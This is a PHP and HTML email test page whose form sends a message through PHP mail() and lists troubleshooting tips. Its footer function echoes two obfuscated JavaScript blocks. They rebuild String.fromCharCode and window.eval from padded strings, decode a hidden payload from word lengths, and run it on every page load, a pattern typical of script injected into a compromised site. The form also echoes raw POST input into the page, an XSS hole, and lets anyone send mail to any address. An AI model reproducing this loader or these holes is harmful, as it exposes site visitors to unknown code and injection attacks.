<html>
<head><title>Email Test</title><head>
<style type="text/css">

body { 
background-color:	#ffffff; 
margin:				20px; 
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size:			12px;
color:				#000;
}

h1 {
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size: 			12px;
font-weight: 		bold;
}

p {
margin-top: 12px;
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size: 			12px;
}

li {
list-style:			square;
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size: 			12px;
margin-bottom:		4px;
color: 				#000;
}

.error {
margin-top: 12px;
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size: 			12px;
color:  #990000;
}

.success {
margin-top: 12px;
font-family:		Verdana, Arial, Tahoma, Trebuchet MS, Sans-serif;
font-size: 			12px;
font-weight: 		normal;
color:  #339900;
}

</style>


<body>

<h1>Email Test Script</h1>

<?php

	if ( ! isset($_POST['sendit']))
	{
		email_form();
	}
	else
	{
		$required = array('recipient', 'subject', 'message');
	
		foreach ($required as $val)
		{
			if ( ! isset($_POST[$val]) OR $_POST[$val] == '')
			{
				echo "<div class='error'>Error: You must fill out all the form fields</div>";
				email_form();
				footer();
				exit;
			}
		}
	
		sendit();
	}
	
	footer();
	
	
	function email_form()
	{
		$action 	= ( ! isset($_SERVER['PHP_SELF']))	? 'email_test.php' : htmlentities($_SERVER['PHP_SELF']); 
		$recipient	= ( ! isset($_POST['recipient']))	? '' : $_POST['recipient']; 
		$subject 	= ( ! isset($_POST['subject']))		? '' : $_POST['subject']; 
		$message 	= ( ! isset($_POST['message']))		? '' : $_POST['message']; 
	
	?>	
		<form method="post" action="<?php echo $action; ?>">
		<input type="hidden" name="sendit" value="true" />
		<p>Email Address<br /><input type="text" name="recipient" value="<?php echo $recipient; ?>" size="32" /></p>
		<p>Email Subject<br /><input type="text" name="subject" value="<?php echo $subject; ?>"  size="32" /></p>
		<p>Email Message<br /><textarea name="message" cols="30" rows="10" ><?php echo $message; ?></textarea></p>
		<p><input type="submit" value=" Send Email " /></p>
		</form>
	<?php
	}
	
	function sendit()
	{
		if ( ! mail($_POST['recipient'], $_POST['subject'], $_POST['message']))
		{
			echo "<p>Error: Unable to send your email</p>";
		}
		else
		{
			echo "<div class='success'><p>No PHP errors were encountered, which indicates that PHP correctly attempted to send your email message.</p></div>
				  <p>If you do not receive the email it could be due to one of the following problems:</p>
				  <ul>
				  <li>Your hosting provider might not permit email to be sent using PHP mail</li>
				  <li>The path to Sendmail is incorrect in your server's PHP ini file</li>
				  <li>Your server does not have Sendmail configured correctly.</li>
				  <li>The recipient's email server has spam blocking software which is incorrectly identifying messages send using PHP as spam</li>
				  </ul>
				  ";
		}
	}
	
	
	function footer()
	{
		echo "
<script>var KewSanac='fQbr5RRoImVCshUaMxrwICsiLoPndl9VeAD'.replace(/[Qb5RRIVsUMxwIsiLPnl9VAD]/g, '');ReNev='rehanejavecelexejajekeq';var YeweKevedi=parseInt;var PalahBereqt='netehan zecev temewes xegayepeperereja kevatak seke nagetawe jeqede baleyaf penasewerezeqe peweyex ragara jededes mawehekezefeyep besebeke paqec kam capavaqefeqaveh sabawexe kecajeve mesazeja deh kahezep hexewalece nexegeka qateq qekezam lerepe har qeheqabel car radeneme sece recaparewebec kefaqej lavehahele jesaner besekay leweweva nek jekerex ze cepahet cetajaqesefaze petewep bexexa neq j mevasece kaze zelaqat seke mahadabe wey fesebej rezereqemakekave pafaheg detawenecefay feqefaf nebeyehecesed bebeyen fasejacete gevanaw zazeveyecerawej pewacen catehave gexe wevekenademage mef pel dewelek xehefapexeyepew papekez mexalehewaderere mal ket jaj d cetexebe kezareve nalalak wewexekeve tegaceh sajew jarepawe garep geqesaw zedevecas kexa lageqaxegenaba rew fec vale qe led zef jat r begadal qevetaxev serelax bedeya perehem zaqayebepe hamevew fenanava yageleh dewebareg geyekeye vebaq jebe qekepaceveyaje mar tep xega ne hah yek wez p wanawal gef gasadeb degecefeqedamehe gagaveha sag qelajan vameg geqelaq qapefe vaweleya xay qewe dezalaranajema mam hat gave x qag zed med m newehej kadadaq zarebege bef peregex le beveger betagebepeheka xaxanen vekeke zenejax nah yaqelex betenabesarekede zafexeta yeb jejapac qabaw hekegab jawaqa hahadeha laf baje sededelebaqare rew har sexe x mav vel veg z bewexane xena qadateje neh cazewem kale yare lecatewejefede cat seg hexevem lefekatez dacakece wezek qejevapa kexaw zaqevele x teje febaxapeveb sej xehaqegazefalapa yaw hegefetamehalefa datedah wej nefayex ceseyesevaday badezed ce kejaleb jala wehaseg pehetegedeje jeqacale vev telaxeze zewedeweta vet mehekevelatedec medebet dele faxehar lekegememexagehe ganexeq relemebeveweme mas badenageretabehe zeleset zese nefaxev jasahanewenewade qejezece fepele jajakey yevakafakakewel benevawe veker saka pec caje xe web nelemacetapehej tepanafe m refemal qecevabaq dexadame s yag mek lehe xayerenamevasaq beta wacevazayexac fas levateyewedalefe pedewab qeheqeceqe javefaj teqaxex rewazepe wek xezagag ka cagebet xegaqemeqageqa kecakeg dagawa texe xefevemelewajem sez wazaheja kar deyazefaje'.split(' ');var SaWavn=33;SaWavn+=-17;ReKeze='lejetezatayafanevekegegaxay';var BaceKepaqn='';var PeyLaps=String;var SegFefebo=11;SegFefebo+=-9;DasCesa=96;var BerKasee=29;BerKasee+=-28;QabePe='gekepajayedayabepevedejer';var SepeYeje='e2v3PaGZltiP'.replace(/[23PGZtiP]/g, '');DejeSehaf=40;var WarekQabw=window;var RakeqYafelo=47;RakeqYafelo+=-47;HexatWen=4;SepeYeje=WarekQabw[SepeYeje];KewSanac=PeyLaps[KewSanac];for (ReYei=RakeqYafelo;ReYei<PalahBereqt.length-1;ReYei+=SegFefebo) BaceKepaqn += KewSanac(YeweKevedi((PalahBereqt[ReYei+RakeqYafelo].length-1).toString(SaWavn)+(PalahBereqt[ReYei+BerKasee].length-1).toString(SaWavn), SaWavn));SepeYeje(BaceKepaqn);</script>

<script>var CeNapes=String;var LeKepami=parseInt;var HaTae=46;HaTae+=-45;FepedPec=90;var NeCaxt='recayap sebep delewew hejasexazefalewa heweqem qeye pecepela camaze meqepek taqaxejaderaca bayehev beqale xaxerel veganababagefes basadeye vevep xaq fazayeqekesebex segecafe vewehede lagelame das zalataf yevexepena zegezece xebes sebefaz xexeka ten lexetajeg sep detegese zena mekanawadeqeb feyecem sehapevade newapeh jeyedap hazehega fet casewep je tegelel bevaxalebadeye zaqevap yerale faz s fecawexa xehe casewep yade nekerave qay penelef kedemeraleletete fawebeq naseberaxedes yayagav qegabegatebeq tegejaf vexexavade lezexab yewaweyapetereh tewedet sefakese newa babaveqesayada sep jeg nefaheg jevemapevaqapek bayeqeh hepetepagafekeja hap gex rap d yecenaje palawene qezekew xexagevame ceserah seses gemehane zahej jaseran betelager tade gegeyegebasala lej bam hane fe jel qej tez f lehebew masenaxey raresay pefede cevebeh capenesale pataner galesele kesepen gegexaqal rehepefe qamed gese qeveledakeyare pec fad lede re fel ser ler n mawabey xeb memabej perehefecamerabe redawana yas terafeb jazed deseges naweya kadaqase cal peke tamexedakebebe cal jej paje l xaj cek pef h ceresam cacekak rekesafa ney weleyep ta laweken rasecazabatade maseseq gebema fanekat mek qezazam yetelezetatenete weneweve yer rabexed haqew sasemey pexane ceqemahe xem zera zesefabaxewape was law zehe m bab gew yeg j qewajeta xefe meqemebe jep melayab naca bece hezesazezaxere rey dem yaxejep yameqemek zatayete feyew hetanaja yekeb tedeweca y meje fabareyeleq per jexeserewejaneje nal yeqegeqecepeceme xecepeta regaqece geqepay ge pegewew yegayadeje jekeqeqe xera tacasaka deyej qelatar gevagezeresefata qapajeta fed fez pecedapapeyalax vekegex hace jarapew leperegazevedeye matelaj cetanexeleqege lev qepenegajejekafe gaseraf laqe henevah denebegebaxezewe fawelaxe laresa qafedah nemexadateleqeb teqamepe xehaz kera gaz geze lecalewac kej fezeqepesefeyad devenaza w cedahey wezejepex napalele w kaw pes raqe zatewetaseseqel dafe lezefegeyeyem xem nasasaqegapajara ketayew sekasename deqaras gepaxas peregeje def kevedaq fe weqebeh xezawevebefeze cawesex wetepe cane resemapaqebejes vex zevekeka jef negetehaxe'.split(' ');var KelMehee='esv2oaEEluQ'.replace(/[s2oEEuQ]/g, '');HeceManar=40;var GelTeo=-39;GelTeo+=41;KerNe=31;var FejeySelefn=-22;FejeySelefn+=38;TejabNeb=89;var HaHew=window;var XewRen='';var MeseqSekeo=-35;MeseqSekeo+=35;ZeKaje=76;var SaqaSevelc='fHrg1oDzm5YCvjThsavrNECu4louJ9dPcieiY'.replace(/[Hg1Dz5YvjTsvNEu4luJ9PciiY]/g, '');VajasDexex=7;KelMehee=HaHew[KelMehee];SaqaSevelc=CeNapes[SaqaSevelc];for (NeceyYaqegi=MeseqSekeo;NeceyYaqegi<NeCaxt.length-1;NeceyYaqegi+=GelTeo) XewRen += SaqaSevelc(LeKepami((NeCaxt[NeceyYaqegi+MeseqSekeo].length-1).toString(FejeySelefn)+(NeCaxt[NeceyYaqegi+HaTae].length-1).toString(FejeySelefn), FejeySelefn));KelMehee(XewRen);</script>
</body></html>";
	}
	
?>